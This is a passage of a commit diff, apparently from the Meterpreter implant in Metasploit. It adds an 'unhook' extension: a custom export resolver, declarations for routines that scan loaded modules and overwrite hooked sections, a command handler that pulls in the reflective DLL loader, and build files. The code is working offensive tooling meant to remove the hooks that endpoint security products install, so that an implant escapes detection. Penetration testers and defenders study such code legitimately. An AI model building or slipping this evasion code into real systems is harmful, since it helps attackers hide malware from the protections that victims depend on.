// test if we are importing by name or by ordinal...
#pragma warning(suppress: 4311)
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
#pragma warning(suppress: 4311)
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
// resolve the address for this imported function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// import by name...
dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray));
// test if we have a match...
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
uiFuncVA = DEREF_32(uiAddressArray);
// check for redirected exports
if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
{
szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);
// Find the first character after "."
szRedirFunc = strstr(szFwdDesc, ".") + 1;
stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);
// Allocate enough space to append "dll"
wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName);
memcpy(wszDllName + stDllName, L"dll", 3 * sizeof(WCHAR));
// check for a redirected module name
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
wsRedir = GetRedirectedName(wszOriginalModule, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original buffer and allocate a new one for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
break;
memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
}
}
hFwdModule = GetModuleHandleW(wszDllName);
fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, wszDllName);
free(wszDllName);
}
else
{
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA);
}
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
return fpResult;
}

View File

@ -0,0 +1,19 @@
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef _DEBUG
#define OUTPUTDBGA(str) OutputDebugStringA(str);
#define OUTPUTDBGW(str) OutputDebugStringW(str);
#else
#define OUTPUTDBGA(str)
#define OUTPUTDBGW(str)
#endif
void RefreshPE();
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase);
HMODULE CustomGetModuleHandleW(const PWSTR wszModule);
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule);
VOID ScanAndFixModule(PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName);
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength);

View File

@ -0,0 +1,64 @@
/*!
* @file unhook.c
* @brief Entry point and intialisation functionality for the unhook extention.
*/
#include "../../common/common.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "unhook.h"
#include "refresh.h"
DWORD unhook_pe(Remote *remote, Packet *packet);
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
// custom commands go here
COMMAND_REQ("unhook_pe", unhook_pe),
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
command_register_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
return ERROR_SUCCESS;
}
DWORD unhook_pe(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
RefreshPE();
packet_add_tlv_uint(response, TLV_TYPE_UNHOOK_RESPONSE, ERROR_SUCCESS);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,13 @@
/*!
* @file bare.h
* @brief Entry point and intialisation declrations for the bare extention.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_UNHOOK_UNHOOK_H
#define _METERPRETER_SOURCE_EXTENSION_UNHOOK_UNHOOK_H
#define TLV_TYPE_EXTENSION_UNHOOK 0
// Custom TLVs go here
#define TLV_TYPE_UNHOOK_RESPONSE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_UNHOOK, TLV_EXTENSIONS + 1)
#endif

View File

@ -0,0 +1,304 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="r7_release|Win32">
<Configuration>r7_release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="r7_release|x64">
<Configuration>r7_release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{561E26D9-7E79-4EF4-8AA2-A770F81568A7}</ProjectGuid>
<RootNamespace>ext_server_unhook</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup>
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_unhook.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_unhook.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<MinimumRequiredVersion>5.02</MinimumRequiredVersion>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_unhook.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_unhook.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<MinimumRequiredVersion>5.02</MinimumRequiredVersion>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_unhook.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_unhook.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\unhook;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_UNHOOK_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\ext_server_unhook.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_unhook.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\source\extensions\unhook\apisetmap.c" />
<ClCompile Include="..\..\source\extensions\unhook\refresh.c" />
<ClCompile Include="..\..\source\extensions\unhook\unhook.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\unhook\apisetmap.h" />
<ClInclude Include="..\..\source\extensions\unhook\refresh.h" />
<ClInclude Include="..\..\source\extensions\unhook\unhook.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\common\common.vcxproj">
<Project>{9e4de963-873f-4525-a7d0-ce34edbbdcca}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
</ProjectReference>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -41,6 +41,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_s
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_peinjector", "ext_server_peinjector\ext_server_peinjector.vcxproj", "{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_unhook", "ext_server_unhook\ext_server_unhook.vcxproj", "{561E26D9-7E79-4EF4-8AA2-A770F81568A7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
r7_release|Win32 = r7_release|Win32
@ -199,6 +201,14 @@ Global
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.Build.0 = Release|Win32
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.ActiveCfg = Release|x64
{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.Build.0 = Release|x64
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.r7_release|Win32.ActiveCfg = r7_release|Win32
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.r7_release|Win32.Build.0 = r7_release|Win32
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.r7_release|x64.ActiveCfg = r7_release|x64
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.r7_release|x64.Build.0 = r7_release|x64
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.Release|Win32.ActiveCfg = Release|Win32
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.Release|Win32.Build.0 = Release|Win32
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.Release|x64.ActiveCfg = Release|x64
{561E26D9-7E79-4EF4-8AA2-A770F81568A7}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE